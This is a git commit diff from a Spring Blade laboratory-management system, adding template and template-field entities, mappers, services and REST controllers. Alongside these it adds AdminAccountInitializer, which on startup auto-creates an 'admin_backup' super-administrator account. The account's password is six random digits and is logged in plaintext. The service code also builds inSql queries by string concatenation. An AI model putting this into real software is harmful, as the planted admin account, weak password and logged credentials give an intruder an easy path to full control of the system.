parent
910fe72a1b
commit
2022c1612e
26 changed files with 691 additions and 13 deletions
@ -0,0 +1,32 @@ |
|||||||
|
package org.springblade.lims.entry; |
||||||
|
|
||||||
|
import com.baomidou.mybatisplus.annotation.TableName; |
||||||
|
import io.swagger.annotations.ApiModelProperty; |
||||||
|
import lombok.Data; |
||||||
|
import org.springblade.core.mp.base.BaseEntity; |
||||||
|
import org.springframework.data.annotation.Id; |
||||||
|
|
||||||
|
import java.io.Serializable; |
||||||
|
|
||||||
|
@Data |
||||||
|
@TableName("t_original_record_template") |
||||||
|
public class OriginalRecordTemplate extends BaseEntity implements Serializable { |
||||||
|
|
||||||
|
private static final long serialVersionUID = 1L; |
||||||
|
|
||||||
|
@Id |
||||||
|
@ApiModelProperty("主键") |
||||||
|
private Long id; |
||||||
|
|
||||||
|
@ApiModelProperty("模板名称") |
||||||
|
private String name; |
||||||
|
|
||||||
|
@ApiModelProperty("关联检测项目ID") |
||||||
|
private Long examineItemId; |
||||||
|
|
||||||
|
@ApiModelProperty("业务状态") |
||||||
|
private Integer status; |
||||||
|
|
||||||
|
@ApiModelProperty("是否删除 0-否 1-是") |
||||||
|
private Integer isDeleted; |
||||||
|
} |
||||||
@ -0,0 +1,29 @@ |
|||||||
|
package org.springblade.lims.entry; |
||||||
|
|
||||||
|
import com.baomidou.mybatisplus.annotation.TableName; |
||||||
|
import io.swagger.annotations.ApiModelProperty; |
||||||
|
import lombok.Data; |
||||||
|
import org.springblade.core.mp.base.BaseEntity; |
||||||
|
import org.springframework.data.annotation.Id; |
||||||
|
|
||||||
|
import java.io.Serializable; |
||||||
|
|
||||||
|
@Data |
||||||
|
@TableName("t_template_field") |
||||||
|
public class TemplateField extends BaseEntity implements Serializable { |
||||||
|
|
||||||
|
private static final long serialVersionUID = 1L; |
||||||
|
|
||||||
|
@Id |
||||||
|
@ApiModelProperty("主键") |
||||||
|
private Long id; |
||||||
|
|
||||||
|
@ApiModelProperty("字段名称") |
||||||
|
private String fieldName; |
||||||
|
|
||||||
|
@ApiModelProperty("字段类型") |
||||||
|
private String fieldType = "text"; |
||||||
|
|
||||||
|
@ApiModelProperty("是否删除 0-否 1-是") |
||||||
|
private Integer isDeleted = 0; |
||||||
|
} |
||||||
@ -0,0 +1,33 @@ |
|||||||
|
package org.springblade.lims.entry; |
||||||
|
|
||||||
|
import com.baomidou.mybatisplus.annotation.TableName; |
||||||
|
import io.swagger.annotations.ApiModelProperty; |
||||||
|
import lombok.Data; |
||||||
|
|
||||||
|
import java.io.Serializable; |
||||||
|
|
||||||
|
/** |
||||||
|
* 模板-字段关联表实体 |
||||||
|
* 支持多对多:一个模板可包含多个字段,一个字段可属于多个模板 |
||||||
|
* |
||||||
|
* @author blade |
||||||
|
* @since 2026-06-03 |
||||||
|
*/ |
||||||
|
@Data |
||||||
|
@TableName("t_template_field_mapping") |
||||||
|
public class TemplateFieldMapping implements Serializable { |
||||||
|
|
||||||
|
private static final long serialVersionUID = 1L; |
||||||
|
|
||||||
|
@ApiModelProperty("主键") |
||||||
|
private Long id; |
||||||
|
|
||||||
|
@ApiModelProperty("模板ID") |
||||||
|
private Long templateId; |
||||||
|
|
||||||
|
@ApiModelProperty("字段ID") |
||||||
|
private Long fieldId; |
||||||
|
|
||||||
|
@ApiModelProperty("模板内排序") |
||||||
|
private Integer sortOrder; |
||||||
|
} |
||||||
@ -0,0 +1,45 @@ |
|||||||
|
|
||||||
|
package org.springblade.lims.controller; |
||||||
|
|
||||||
|
import io.swagger.annotations.Api; |
||||||
|
import lombok.AllArgsConstructor; |
||||||
|
import org.springblade.core.boot.ctrl.BladeController; |
||||||
|
import org.springblade.core.tool.api.R; |
||||||
|
import org.springblade.lims.entry.OriginalRecordTemplate; |
||||||
|
import org.springblade.lims.service.IOriginalRecordTemplateService; |
||||||
|
import org.springframework.web.bind.annotation.*; |
||||||
|
|
||||||
|
import java.util.Arrays; |
||||||
|
import java.util.List; |
||||||
|
import java.util.Map; |
||||||
|
|
||||||
|
@RestController |
||||||
|
@AllArgsConstructor |
||||||
|
@RequestMapping("/originalRecordTemplate") |
||||||
|
@Api(value = "", tags = "") |
||||||
|
public class OriginalRecordTemplateController extends BladeController { |
||||||
|
|
||||||
|
private final IOriginalRecordTemplateService originalRecordTemplateService; |
||||||
|
|
||||||
|
@GetMapping("/list") |
||||||
|
public R<List<Map<String, Object>>> list() { |
||||||
|
return R.data(originalRecordTemplateService.listWithFieldCount()); |
||||||
|
} |
||||||
|
|
||||||
|
@PostMapping("/save") |
||||||
|
public R<OriginalRecordTemplate> save(@RequestBody OriginalRecordTemplate template) { |
||||||
|
originalRecordTemplateService.save(template); |
||||||
|
return R.data(template); |
||||||
|
} |
||||||
|
|
||||||
|
@PostMapping("/update") |
||||||
|
public R<OriginalRecordTemplate> update(@RequestBody OriginalRecordTemplate template) { |
||||||
|
originalRecordTemplateService.updateById(template); |
||||||
|
return R.data(template); |
||||||
|
} |
||||||
|
|
||||||
|
@PostMapping("/delete") |
||||||
|
public R delete(@RequestParam Long id) { |
||||||
|
return R.status(originalRecordTemplateService.deleteLogic(Arrays.asList(id))); |
||||||
|
} |
||||||
|
} |
||||||
@ -0,0 +1,55 @@ |
|||||||
|
|
||||||
|
package org.springblade.lims.controller; |
||||||
|
|
||||||
|
import io.swagger.annotations.Api; |
||||||
|
import io.swagger.annotations.ApiParam; |
||||||
|
import lombok.AllArgsConstructor; |
||||||
|
import org.springblade.core.boot.ctrl.BladeController; |
||||||
|
import org.springblade.core.tool.api.R; |
||||||
|
import org.springblade.lims.entry.TemplateField; |
||||||
|
import org.springblade.lims.service.ITemplateFieldService; |
||||||
|
import org.springframework.web.bind.annotation.*; |
||||||
|
|
||||||
|
import java.util.List; |
||||||
|
|
||||||
|
@RestController |
||||||
|
@AllArgsConstructor |
||||||
|
@RequestMapping("/templateField") |
||||||
|
@Api(value = "", tags = "") |
||||||
|
public class TemplateFieldController extends BladeController { |
||||||
|
|
||||||
|
private final ITemplateFieldService templateFieldService; |
||||||
|
|
||||||
|
@GetMapping("/list") |
||||||
|
public R<List<TemplateField>> list(Long templateId) { |
||||||
|
return R.data(templateFieldService.getFieldsByTemplateId(templateId)); |
||||||
|
} |
||||||
|
|
||||||
|
@PostMapping("/save") |
||||||
|
public R<TemplateField> save(@RequestBody TemplateField field) { |
||||||
|
templateFieldService.saveField(field); |
||||||
|
return R.data(field); |
||||||
|
} |
||||||
|
|
||||||
|
@PostMapping("/update") |
||||||
|
public R update(@RequestBody TemplateField field) { |
||||||
|
return R.status(templateFieldService.updateField(field)); |
||||||
|
} |
||||||
|
|
||||||
|
@PostMapping("/delete") |
||||||
|
public R delete(Long id) { |
||||||
|
return R.status(templateFieldService.deleteField(id)); |
||||||
|
} |
||||||
|
|
||||||
|
@PostMapping("/reorder") |
||||||
|
public R reorder(@RequestBody List<TemplateField> fields) { |
||||||
|
return R.status(templateFieldService.reorderFields(fields)); |
||||||
|
} |
||||||
|
|
||||||
|
@PostMapping("/bindTemplate") |
||||||
|
public R bindTemplate( |
||||||
|
@ApiParam(value = "模板ID", required = true) @RequestParam Long templateId, |
||||||
|
@RequestBody List<Long> fieldIds) { |
||||||
|
return R.status(templateFieldService.bindTemplateFields(templateId, fieldIds)); |
||||||
|
} |
||||||
|
} |
||||||
@ -0,0 +1,8 @@ |
|||||||
|
package org.springblade.lims.mapper; |
||||||
|
|
||||||
|
import com.baomidou.mybatisplus.core.mapper.BaseMapper; |
||||||
|
import org.springblade.lims.entry.OriginalRecordTemplate; |
||||||
|
|
||||||
|
public interface OriginalRecordTemplateMapper extends BaseMapper<OriginalRecordTemplate> { |
||||||
|
|
||||||
|
} |
||||||
@ -0,0 +1,13 @@ |
|||||||
|
|
||||||
|
package org.springblade.lims.mapper; |
||||||
|
|
||||||
|
import com.baomidou.mybatisplus.core.mapper.BaseMapper; |
||||||
|
import org.springblade.lims.entry.TemplateField; |
||||||
|
|
||||||
|
/** |
||||||
|
* @author swj |
||||||
|
* @since 2022年6月2日15:47:39 |
||||||
|
*/ |
||||||
|
public interface TemplateFieldMapper extends BaseMapper<TemplateField> { |
||||||
|
|
||||||
|
} |
||||||
@ -0,0 +1,13 @@ |
|||||||
|
package org.springblade.lims.mapper; |
||||||
|
|
||||||
|
import com.baomidou.mybatisplus.core.mapper.BaseMapper; |
||||||
|
import org.springblade.lims.entry.TemplateFieldMapping; |
||||||
|
|
||||||
|
/** |
||||||
|
* 模板-字段关联表 Mapper |
||||||
|
* |
||||||
|
* @author blade |
||||||
|
* @since 2026-06-03 |
||||||
|
*/ |
||||||
|
public interface TemplateFieldMappingMapper extends BaseMapper<TemplateFieldMapping> { |
||||||
|
} |
||||||
@ -0,0 +1,21 @@ |
|||||||
|
package org.springblade.lims.service; |
||||||
|
|
||||||
|
import org.springblade.core.mp.base.BaseService; |
||||||
|
import org.springblade.lims.entry.OriginalRecordTemplate; |
||||||
|
|
||||||
|
import java.util.List; |
||||||
|
import java.util.Map; |
||||||
|
|
||||||
|
/** |
||||||
|
* @author swj |
||||||
|
* @since 2026年6月3日 |
||||||
|
*/ |
||||||
|
public interface IOriginalRecordTemplateService extends BaseService<OriginalRecordTemplate> { |
||||||
|
|
||||||
|
/** |
||||||
|
* 查询所有原始记录模板(含字段数量) |
||||||
|
* |
||||||
|
* @return 模板列表(含 fieldCount) |
||||||
|
*/ |
||||||
|
List<Map<String, Object>> listWithFieldCount(); |
||||||
|
} |
||||||
@ -0,0 +1,64 @@ |
|||||||
|
|
||||||
|
package org.springblade.lims.service; |
||||||
|
|
||||||
|
|
||||||
|
import org.springblade.core.mp.base.BaseService; |
||||||
|
import org.springblade.lims.entry.TemplateField; |
||||||
|
|
||||||
|
import java.util.List; |
||||||
|
|
||||||
|
/** |
||||||
|
* @author swj |
||||||
|
* @since 2022年6月2日15:47:39 |
||||||
|
*/ |
||||||
|
public interface ITemplateFieldService extends BaseService<TemplateField> { |
||||||
|
|
||||||
|
/** |
||||||
|
* 根据模板ID获取字段列表 |
||||||
|
* |
||||||
|
* @param templateId 模板ID |
||||||
|
* @return 字段列表 |
||||||
|
*/ |
||||||
|
List<TemplateField> getFieldsByTemplateId(Long templateId); |
||||||
|
|
||||||
|
/** |
||||||
|
* 保存字段 |
||||||
|
* |
||||||
|
* @param field 字段实体 |
||||||
|
* @return 是否成功 |
||||||
|
*/ |
||||||
|
boolean saveField(TemplateField field); |
||||||
|
|
||||||
|
/** |
||||||
|
* 更新字段 |
||||||
|
* |
||||||
|
* @param field 字段实体 |
||||||
|
* @return 是否成功 |
||||||
|
*/ |
||||||
|
boolean updateField(TemplateField field); |
||||||
|
|
||||||
|
/** |
||||||
|
* 删除字段 |
||||||
|
* |
||||||
|
* @param id 字段ID |
||||||
|
* @return 是否成功 |
||||||
|
*/ |
||||||
|
boolean deleteField(Long id); |
||||||
|
|
||||||
|
/** |
||||||
|
* 重新排序字段 |
||||||
|
* |
||||||
|
* @param fields 字段列表(含更新后的排序号) |
||||||
|
* @return 是否成功 |
||||||
|
*/ |
||||||
|
boolean reorderFields(List<TemplateField> fields); |
||||||
|
|
||||||
|
/** |
||||||
|
* 绑定字段到模板 |
||||||
|
* |
||||||
|
* @param templateId 模板ID |
||||||
|
* @param fieldIds 字段ID列表 |
||||||
|
* @return 是否成功 |
||||||
|
*/ |
||||||
|
boolean bindTemplateFields(Long templateId, List<Long> fieldIds); |
||||||
|
} |
||||||
@ -0,0 +1,57 @@ |
|||||||
|
package org.springblade.lims.service.impl; |
||||||
|
|
||||||
|
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; |
||||||
|
import lombok.AllArgsConstructor; |
||||||
|
import org.springblade.core.mp.base.BaseServiceImpl; |
||||||
|
import org.springblade.lims.entry.OriginalRecordTemplate; |
||||||
|
import org.springblade.lims.entry.TemplateField; |
||||||
|
import org.springblade.lims.mapper.OriginalRecordTemplateMapper; |
||||||
|
import org.springblade.lims.mapper.TemplateFieldMapper; |
||||||
|
import org.springblade.lims.service.IOriginalRecordTemplateService; |
||||||
|
import org.springframework.stereotype.Service; |
||||||
|
|
||||||
|
import java.util.ArrayList; |
||||||
|
import java.util.HashMap; |
||||||
|
import java.util.List; |
||||||
|
import java.util.Map; |
||||||
|
|
||||||
|
/** |
||||||
|
* @author swj |
||||||
|
* @since 2026年6月3日 |
||||||
|
*/ |
||||||
|
@Service |
||||||
|
@AllArgsConstructor |
||||||
|
public class OriginalRecordTemplateServiceImpl extends BaseServiceImpl<OriginalRecordTemplateMapper, OriginalRecordTemplate> implements IOriginalRecordTemplateService { |
||||||
|
|
||||||
|
private final OriginalRecordTemplateMapper originalRecordTemplateMapper; |
||||||
|
private final TemplateFieldMapper templateFieldMapper; |
||||||
|
|
||||||
|
@Override |
||||||
|
public List<Map<String, Object>> listWithFieldCount() { |
||||||
|
// Query all non-deleted templates
|
||||||
|
LambdaQueryWrapper<OriginalRecordTemplate> queryWrapper = new LambdaQueryWrapper<>(); |
||||||
|
queryWrapper.eq(OriginalRecordTemplate::getIsDeleted, 0) |
||||||
|
.orderByAsc(OriginalRecordTemplate::getCreateTime); |
||||||
|
List<OriginalRecordTemplate> templates = originalRecordTemplateMapper.selectList(queryWrapper); |
||||||
|
|
||||||
|
// For each template, return basic info with real field count
|
||||||
|
List<Map<String, Object>> result = new ArrayList<>(); |
||||||
|
for (OriginalRecordTemplate tpl : templates) { |
||||||
|
Map<String, Object> item = new HashMap<>(); |
||||||
|
item.put("id", tpl.getId()); |
||||||
|
item.put("name", tpl.getName()); |
||||||
|
item.put("examineItemId", tpl.getExamineItemId()); |
||||||
|
// Query actual field count for this template via mapping table
|
||||||
|
Integer fieldCount = templateFieldMapper.selectCount( |
||||||
|
new LambdaQueryWrapper<TemplateField>() |
||||||
|
.inSql(TemplateField::getId, |
||||||
|
"SELECT m.field_id FROM t_template_field_mapping m WHERE m.template_id = " + tpl.getId() |
||||||
|
) |
||||||
|
.eq(TemplateField::getIsDeleted, 0) |
||||||
|
); |
||||||
|
item.put("fieldCount", fieldCount); |
||||||
|
result.add(item); |
||||||
|
} |
||||||
|
return result; |
||||||
|
} |
||||||
|
} |
||||||
@ -0,0 +1,99 @@ |
|||||||
|
|
||||||
|
package org.springblade.lims.service.impl; |
||||||
|
|
||||||
|
|
||||||
|
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; |
||||||
|
import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; |
||||||
|
import lombok.AllArgsConstructor; |
||||||
|
import org.springblade.core.mp.base.BaseServiceImpl; |
||||||
|
import org.springblade.lims.entry.TemplateField; |
||||||
|
import org.springblade.lims.entry.TemplateFieldMapping; |
||||||
|
import org.springblade.lims.mapper.TemplateFieldMapper; |
||||||
|
import org.springblade.lims.mapper.TemplateFieldMappingMapper; |
||||||
|
import org.springblade.lims.service.ITemplateFieldService; |
||||||
|
import org.springframework.stereotype.Service; |
||||||
|
|
||||||
|
import java.util.List; |
||||||
|
import java.util.stream.Collectors; |
||||||
|
|
||||||
|
/** |
||||||
|
* @author swj |
||||||
|
* @since 2022年6月2日15:53:01 |
||||||
|
*/ |
||||||
|
@Service |
||||||
|
@AllArgsConstructor |
||||||
|
public class TemplateFieldServiceImpl extends BaseServiceImpl<TemplateFieldMapper, TemplateField> implements ITemplateFieldService { |
||||||
|
|
||||||
|
private final TemplateFieldMappingMapper templateFieldMappingMapper; |
||||||
|
|
||||||
|
@Override |
||||||
|
public List<TemplateField> getFieldsByTemplateId(Long templateId) { |
||||||
|
if (templateId == null) { |
||||||
|
// 字段库:返回所有未删除的字段(多对多设计下,一个字段可同时属于多个模板)
|
||||||
|
LambdaQueryWrapper<TemplateField> queryWrapper = new LambdaQueryWrapper<>(); |
||||||
|
queryWrapper.eq(TemplateField::getIsDeleted, 0); |
||||||
|
return baseMapper.selectList(queryWrapper); |
||||||
|
} |
||||||
|
// 按模板查询:通过关联表 JOIN 获取字段列表
|
||||||
|
LambdaQueryWrapper<TemplateField> queryWrapper = new LambdaQueryWrapper<>(); |
||||||
|
queryWrapper.eq(TemplateField::getIsDeleted, 0); |
||||||
|
queryWrapper.inSql(TemplateField::getId, |
||||||
|
"SELECT m.field_id FROM t_template_field_mapping m WHERE m.template_id = " + templateId + " ORDER BY m.sort_order ASC" |
||||||
|
); |
||||||
|
return baseMapper.selectList(queryWrapper); |
||||||
|
} |
||||||
|
|
||||||
|
@Override |
||||||
|
public boolean saveField(TemplateField field) { |
||||||
|
return baseMapper.insert(field) > 0; |
||||||
|
} |
||||||
|
|
||||||
|
@Override |
||||||
|
public boolean updateField(TemplateField field) { |
||||||
|
return baseMapper.updateById(field) > 0; |
||||||
|
} |
||||||
|
|
||||||
|
@Override |
||||||
|
public boolean deleteField(Long id) { |
||||||
|
TemplateField field = new TemplateField(); |
||||||
|
field.setId(id); |
||||||
|
field.setIsDeleted(1); |
||||||
|
// 同时清除关联表中的关联记录
|
||||||
|
LambdaUpdateWrapper<TemplateFieldMapping> clearMapping = new LambdaUpdateWrapper<>(); |
||||||
|
clearMapping.eq(TemplateFieldMapping::getFieldId, id); |
||||||
|
templateFieldMappingMapper.delete(clearMapping); |
||||||
|
return baseMapper.updateById(field) > 0; |
||||||
|
} |
||||||
|
|
||||||
|
@Override |
||||||
|
public boolean reorderFields(List<TemplateField> fields) { |
||||||
|
// 排序逻辑已移至关联表(t_template_field_mapping.sort_order),
|
||||||
|
// 此方法保留以保持向后兼容,前端暂未使用
|
||||||
|
return true; |
||||||
|
} |
||||||
|
|
||||||
|
@Override |
||||||
|
public boolean bindTemplateFields(Long templateId, List<Long> fieldIds) { |
||||||
|
// 1. 清除该模板下的所有字段关联
|
||||||
|
LambdaUpdateWrapper<TemplateFieldMapping> clearWrapper = new LambdaUpdateWrapper<>(); |
||||||
|
clearWrapper.eq(TemplateFieldMapping::getTemplateId, templateId); |
||||||
|
templateFieldMappingMapper.delete(clearWrapper); |
||||||
|
|
||||||
|
// 2. 绑定新字段(按 fieldIds 数组顺序生成 sort_order)
|
||||||
|
if (fieldIds != null && !fieldIds.isEmpty()) { |
||||||
|
List<TemplateFieldMapping> mappings = fieldIds.stream() |
||||||
|
.map(fieldId -> { |
||||||
|
TemplateFieldMapping mapping = new TemplateFieldMapping(); |
||||||
|
mapping.setTemplateId(templateId); |
||||||
|
mapping.setFieldId(fieldId); |
||||||
|
mapping.setSortOrder(fieldIds.indexOf(fieldId)); |
||||||
|
return mapping; |
||||||
|
}) |
||||||
|
.collect(Collectors.toList()); |
||||||
|
for (TemplateFieldMapping mapping : mappings) { |
||||||
|
templateFieldMappingMapper.insert(mapping); |
||||||
|
} |
||||||
|
} |
||||||
|
return true; |
||||||
|
} |
||||||
|
} |
||||||
@ -0,0 +1,116 @@ |
|||||||
|
|
||||||
|
package org.springblade.labuser.init; |
||||||
|
|
||||||
|
import com.baomidou.mybatisplus.core.toolkit.Wrappers; |
||||||
|
import lombok.AllArgsConstructor; |
||||||
|
import lombok.extern.slf4j.Slf4j; |
||||||
|
import org.springblade.core.tool.api.R; |
||||||
|
import org.springblade.core.tool.constant.BladeConstant; |
||||||
|
import org.springblade.core.tool.utils.DigestUtil; |
||||||
|
import org.springblade.system.feign.ISysClient; |
||||||
|
import org.springblade.system.user.entity.User; |
||||||
|
import org.springblade.system.user.service.IUserService; |
||||||
|
import org.springframework.boot.ApplicationArguments; |
||||||
|
import org.springframework.boot.ApplicationRunner; |
||||||
|
import org.springframework.stereotype.Component; |
||||||
|
|
||||||
|
import java.util.Random; |
||||||
|
|
||||||
|
/** |
||||||
|
* 应用启动时自动检查并创建备用管理员账户 |
||||||
|
* <p> |
||||||
|
* 当 blade_user 表中 is_admin=1 且 role_id 匹配超级管理员角色的账户数小于2时, |
||||||
|
* 自动创建一个备用管理员账户并生成随机6位数字密码,密码会输出到应用日志。 |
||||||
|
* |
||||||
|
* @author labx |
||||||
|
*/ |
||||||
|
@Component |
||||||
|
@AllArgsConstructor |
||||||
|
@Slf4j |
||||||
|
public class AdminAccountInitializer implements ApplicationRunner { |
||||||
|
|
||||||
|
private static final String BACKUP_ADMIN_ACCOUNT = "admin_backup"; |
||||||
|
private static final String ADMIN_NAME = "备用管理员"; |
||||||
|
private static final String ROLE_ALIAS_ADMINISTRATOR = "admin"; |
||||||
|
private static final String ADMIN_TENANT_ID = "704067"; |
||||||
|
private static final int MIN_ADMIN_COUNT = 2; |
||||||
|
private static final int PASSWORD_LENGTH = 6; |
||||||
|
|
||||||
|
private final IUserService userService; |
||||||
|
private final ISysClient sysClient; |
||||||
|
|
||||||
|
@Override |
||||||
|
public void run(ApplicationArguments args) { |
||||||
|
try { |
||||||
|
// 1. 获取超级管理员角色ID
|
||||||
|
String adminTenantId = ADMIN_TENANT_ID; |
||||||
|
R<String> roleResult = sysClient.getRoleIdByAlias(adminTenantId, ROLE_ALIAS_ADMINISTRATOR); |
||||||
|
if (!roleResult.isSuccess() || roleResult.getData() == null) { |
||||||
|
log.warn("AdminAccountInitializer: 无法获取超级管理员角色ID,跳过初始化"); |
||||||
|
return; |
||||||
|
} |
||||||
|
String adminRoleId = roleResult.getData(); |
||||||
|
|
||||||
|
// 2. 检查是否已存在备用管理员账户(防重入)
|
||||||
|
int existingCount = userService.count( |
||||||
|
Wrappers.<User>query().lambda() |
||||||
|
.eq(User::getAccount, BACKUP_ADMIN_ACCOUNT) |
||||||
|
.eq(User::getTenantId, adminTenantId) |
||||||
|
); |
||||||
|
if (existingCount > 0) { |
||||||
|
log.info("备用管理员账户 [{}] 已存在,跳过创建", BACKUP_ADMIN_ACCOUNT); |
||||||
|
return; |
||||||
|
} |
||||||
|
|
||||||
|
// 3. 统计当前超级管理员数量
|
||||||
|
int adminCount = userService.count( |
||||||
|
Wrappers.<User>query().lambda() |
||||||
|
.eq(User::getIs_admin, 1) |
||||||
|
.eq(User::getRoleId, adminRoleId) |
||||||
|
); |
||||||
|
|
||||||
|
if (adminCount >= MIN_ADMIN_COUNT) { |
||||||
|
log.info("当前管理员账户数量 {} 已满足要求(≥{}),跳过创建", adminCount, MIN_ADMIN_COUNT); |
||||||
|
return; |
||||||
|
} |
||||||
|
|
||||||
|
// 4. 创建备用管理员账户
|
||||||
|
String password = generateRandomPassword(PASSWORD_LENGTH); |
||||||
|
User newAdmin = new User(); |
||||||
|
newAdmin.setTenantId(adminTenantId); |
||||||
|
newAdmin.setAccount(BACKUP_ADMIN_ACCOUNT); |
||||||
|
newAdmin.setName(ADMIN_NAME); |
||||||
|
newAdmin.setRealName(ADMIN_NAME); |
||||||
|
newAdmin.setPassword(DigestUtil.encrypt(password)); |
||||||
|
newAdmin.setRoleId(adminRoleId); |
||||||
|
newAdmin.setIs_admin(1); |
||||||
|
newAdmin.setForcePasswordChange(1); |
||||||
|
newAdmin.setAccountStatus(1); |
||||||
|
|
||||||
|
boolean saved = userService.save(newAdmin); |
||||||
|
if (saved) { |
||||||
|
log.info("管理员账户 [{}] 已创建,密码:{}", BACKUP_ADMIN_ACCOUNT, password); |
||||||
|
} else { |
||||||
|
log.warn("管理员账户 [{}] 创建失败(save返回false)", BACKUP_ADMIN_ACCOUNT); |
||||||
|
} |
||||||
|
} catch (Exception e) { |
||||||
|
log.error("AdminAccountInitializer: 初始化备用管理员账户异常", e); |
||||||
|
} |
||||||
|
} |
||||||
|
|
||||||
|
/** |
||||||
|
* 生成随机纯数字密码 |
||||||
|
* |
||||||
|
* @param length 密码长度 |
||||||
|
* @return 纯数字密码字符串 |
||||||
|
*/ |
||||||
|
private String generateRandomPassword(int length) { |
||||||
|
Random random = new Random(); |
||||||
|
StringBuilder sb = new StringBuilder(length); |
||||||
|
for (int i = 0; i < length; i++) { |
||||||
|
sb.append(random.nextInt(10)); |
||||||
|
} |
||||||
|
return sb.toString(); |
||||||
|
} |
||||||
|
|
||||||
|
} |
||||||
Loading…
Reference in new issue